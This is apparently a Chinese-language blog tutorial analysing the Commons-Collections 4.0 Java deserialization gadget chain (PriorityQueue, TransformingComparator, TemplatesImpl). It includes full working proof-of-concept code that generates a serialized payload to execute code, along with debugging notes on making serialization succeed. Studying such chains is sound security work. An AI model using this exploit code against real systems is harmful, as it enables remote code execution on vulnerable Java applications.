环境
JDK8u65
openJDK 8u65
Maven 3.6.3(其余版本可以先试试,不行再降版本)
Commons-Collections 4.0
(除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。)
1 2 3 4 5 public class InvokerTransformer <I , O > implements Transformer <I , O > {public class InvokerTransformer <I , O > implements Transformer <I , O >, Serializable {
所以环境使用4.0版本
1 2 3 4 5 6 7 <!-- https: <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
记得reimport
cc4攻击链分析
1 2 3 4 5 6 7 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
根据yso的提示,进行调试
我们去找TransformingComparator.compare()
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
调用了transform。
上边的链子,看PriorityQueue类
1 2 3 PriorityQueue.readObject() --> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> TransformingComparator.compare()
后面就还是InvokerTransformer.transform那条链 或者 cc3的链子。
构造poc
后半段的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" ));byte [][] codes = {evil};bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
代码测试成功,准备进行下一步exp的编写。
代码用法与伪代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 public TransformingComparator (final Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public PriorityQueue (Comparator<? super E> comparator) { this (DEFAULT_INITIAL_CAPACITY, comparator); } TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
理论上说,直接序列化反序列化即可
1 2 serialize(priorityQueue);
但是并没有弹计算器。下断点进行调试。
断点位置:PriorityQueue 的 736 行 siftDown() 代码,以及 795 行的 heapify() 代码。Debug 一下。
可以看到slot_1 = -1 直接跳出了heapify方法。
原因是这一段 size >>> 1,>>> 是移位运算符。
具体用法可以不用管,我们点击 Evaluate Expression(alt+F8),将 size 的值进行替换,知道 size 等于 1 时,才算成功。
当我们将 Size 的值修改成 2 的时候,得到 Result 为 1,是可以进入循环的,所以现在我们要想办法将 Size 的值变成 2。
要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。
利用PriorityQueue优先队列的add方法,对size的值进行操作。
1 2 priorityQueue.add(1 ); priorityQueue.add(2 );
我认为的最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4Test { public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser" )); out_obj1.writeObject(obj); out_obj1.close(); } public static Object unserialization (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename)); Object ois = obj2.readObject(); return ois; } }
虽然能够正常弹计算器,但是在序列化的时候,程序会报错。
跟进调试一下
在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform()
代码调用流程如下:
priorityQueue.add() -->offer() -->siftUp() -->siftUpUsingComparator() -->comparator.compare() -->TransformingComparator.compare() -->ChainedTransformer.transform()
解决方法:
还是老样子,先序列化的时候赋值个没用的值,然后反序列化时再改回来。
1 2 3 4 5 6 7 8 9 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1 )); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer" ); transformingField.setAccessible(true ); transformingField.set(transformingComparator, chainedTransformer);